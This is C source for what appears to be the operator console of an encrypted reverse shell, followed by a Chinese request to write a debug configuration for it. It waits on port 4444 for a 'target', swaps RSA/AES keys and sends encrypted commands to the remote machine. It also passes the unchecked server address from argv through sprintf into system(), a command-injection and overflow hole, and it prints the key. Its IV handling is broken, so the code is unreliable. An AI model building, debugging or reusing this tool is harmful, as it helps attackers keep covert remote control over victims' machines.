#include <openssl/rsa.h>
#include <openssl/aes.h>
#include <openssl/rand.h>
#include <openssl/bn.h>
#include <openssl/evp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/socket.h>
#define BUFFER_SIZE 4096
#define PORT 4444
typedef struct {
int sockfd;
AES_KEY encrypt_key;
AES_KEY decrypt_key;
unsigned char iv_enc[AES_BLOCK_SIZE];
unsigned char iv_dec[AES_BLOCK_SIZE];
} client_state;
// 接收RSA公钥
RSA *receive_public_key(int sockfd) {
int n_len, e_len;
// 接收长度信息
if (recv(sockfd, &n_len, sizeof(int), 0) <= 0 ||
recv(sockfd, &e_len, sizeof(int), 0) <= 0) {
return NULL;
}
// 接收n和e
unsigned char *n_buf = malloc(n_len);
unsigned char *e_buf = malloc(e_len);
if (recv(sockfd, n_buf, n_len, 0) <= 0 ||
recv(sockfd, e_buf, e_len, 0) <= 0) {
free(n_buf);
free(e_buf);
return NULL;
}
// 构建RSA公钥
RSA *rsa = RSA_new();
BIGNUM *n = BN_bin2bn(n_buf, n_len, NULL);
BIGNUM *e = BN_bin2bn(e_buf, e_len, NULL);
if (!rsa || !n || !e) {
if (rsa) RSA_free(rsa);
if (n) BN_free(n);
if (e) BN_free(e);
free(n_buf);
free(e_buf);
return NULL;
}
// 设置RSA公钥
if (RSA_set0_key(rsa, n, e, NULL) != 1) {
RSA_free(rsa);
BN_free(n);
BN_free(e);
free(n_buf);
free(e_buf);
return NULL;
}
free(n_buf);
free(e_buf);
return rsa;
}
// 接收线程函数
void *recv_thread_func(void *arg) {
client_state *state = (client_state *)arg;
while(1) {
int enc_len;
if(recv(state->sockfd, &enc_len, sizeof(int), 0) <= 0) break;
if (enc_len <= 0 || enc_len > BUFFER_SIZE * 2) break;
unsigned char enc_data[enc_len];
if(recv(state->sockfd, enc_data, enc_len, 0) <= 0) break;
printf("Received %d bytes of encrypted data\n", enc_len);
// 解密并输出
unsigned char dec_data[enc_len];
AES_cbc_encrypt(enc_data, dec_data, enc_len, &state->decrypt_key,
state->iv_dec, AES_DECRYPT);
// 输出到标准输出,去除填充的零字节
int actual_len = enc_len;
while (actual_len > 0 && dec_data[actual_len - 1] == 0) {
actual_len--;
}
if (actual_len > 0) {
write(STDOUT_FILENO, dec_data, actual_len);
fflush(stdout);
}
}
return NULL;
}
int main(int argc, char *argv[]) {
char ping_cmd[30];
if(argc != 2) {
printf("Usage: %s <server_ip>\n", argv[0]);
return 1;
}
sprintf(ping_cmd, "ping -c 1 -s 200 %s ", argv[1]);
if(system(ping_cmd)!=0) {
return -1;
}
OpenSSL_add_all_algorithms();
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("socket");
return 1;
}
int opt = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(PORT),
.sin_addr.s_addr = INADDR_ANY
};
if (bind(sockfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("bind");
close(sockfd);
return 1;
}
if (listen(sockfd, 5) < 0) {
perror("listen");
close(sockfd);
return 1;
}
printf("Server listening on port %d\n", PORT);
int client_fd;
while(1){
struct sockaddr_in client_addr;
socklen_t addr_len = sizeof(client_addr);
client_fd = accept(sockfd, (struct sockaddr*)&client_addr, &addr_len);
if (client_fd < 0) {
perror("accept");
continue;
}
printf("Target connected from %s:%d\n",inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
break;
}
printf("Receiving RSA public key....\n");
RSA *rsa = receive_public_key(client_fd);
if (!rsa) {
fprintf(stderr, "Failed to receive public key from server\n");
close(client_fd);
return 1;
}
printf("RSA public key received successfully\n");
// 生成AES密钥并交换
unsigned char aes_key[32];
if (RAND_bytes(aes_key, 32) != 1) {
fprintf(stderr, "Failed to generate random AES key\n");
close(client_fd);
RSA_free(rsa);
return 1;
}
printf("AES key genrate:%s\n",aes_key);
// 使用RSA公钥加密AES密钥
int rsa_size = RSA_size(rsa);
unsigned char enc_key[rsa_size];
int encrypt_len = RSA_public_encrypt(32, aes_key, enc_key, rsa, RSA_PKCS1_PADDING);
RSA_free(rsa);
if (encrypt_len != rsa_size) {
fprintf(stderr, "Failed to encrypt AES key (got %d bytes, expected %d)\n", encrypt_len, rsa_size);
close(client_fd);
return 1;
}
// 发送加密的AES密钥
if (send(client_fd, enc_key, rsa_size, 0) != rsa_size) {
perror("Failed to send encrypted key");
close(client_fd);
return 1;
}
printf("AES key exchange completed\n");
// 初始化加密上下文
client_state state;
state.sockfd = client_fd;
if (AES_set_encrypt_key(aes_key, 256, &state.encrypt_key) != 0) {
fprintf(stderr, "Failed to set AES encrypt key\n");
close(client_fd);
return 1;
}
if (AES_set_decrypt_key(aes_key, 256, &state.decrypt_key) != 0) {
fprintf(stderr, "Failed to set AES decrypt key\n");
close(client_fd);
return 1;
}
if (RAND_bytes(state.iv_enc, AES_BLOCK_SIZE) != 1 ||
RAND_bytes(state.iv_dec, AES_BLOCK_SIZE) != 1) {
fprintf(stderr, "Failed to generate random IV\n");
close(client_fd);
return 1;
}
// 启动接收线程
pthread_t recv_thread;
if (pthread_create(&recv_thread, NULL, recv_thread_func, &state) != 0) {
perror("pthread_create");
close(client_fd);
return 1;
}
printf("Secure shell session started. Type commands:\n");
// 主线程处理输入
while(1) {
unsigned char input[BUFFER_SIZE];
if(fgets((char*)input, BUFFER_SIZE, stdin) == NULL) {
printf("Error reading input\n");
while(getchar() != '\n');
continue;
}
printf("Input:%s\n",input);
int bytes_read = strlen(input);
// 计算加密后的长度(需要填充到AES块大小的倍数)
int enc_len = bytes_read;
if (bytes_read % AES_BLOCK_SIZE != 0) {
enc_len = bytes_read + (AES_BLOCK_SIZE - (bytes_read % AES_BLOCK_SIZE));
}
unsigned char padded_input[enc_len];
memset(padded_input, 0, enc_len);
memcpy(padded_input, input, bytes_read);
printf("Padded input:%s\n",padded_input);
unsigned char enc_data[enc_len];
AES_cbc_encrypt(padded_input, enc_data, enc_len, &state.encrypt_key,
state.iv_enc, AES_ENCRYPT);
printf("Encrypted data:%s\n",enc_data);
// 发送加密数据长度和数据
//if (send(client_fd, &enc_len, sizeof(int), 0) != sizeof(int) ||
// send(client_fd, enc_data, enc_len, 0) != enc_len) {
// perror("send");
// break;
//}
if(send(client_fd, &enc_len, sizeof(int), 0) <0) {
perror("send");
break;
}
if(send(client_fd, enc_data, enc_len, 0) < 0) {
perror("send");
break;
}
printf("Command sent\n");
}
// 等待接收线程结束
pthread_cancel(recv_thread);
pthread_join(recv_thread, NULL);
close(client_fd);
printf("\nConnection closed.\n");
// 清理OpenSSL
EVP_cleanup();
return 0;
}
针对改代码,编写调试配置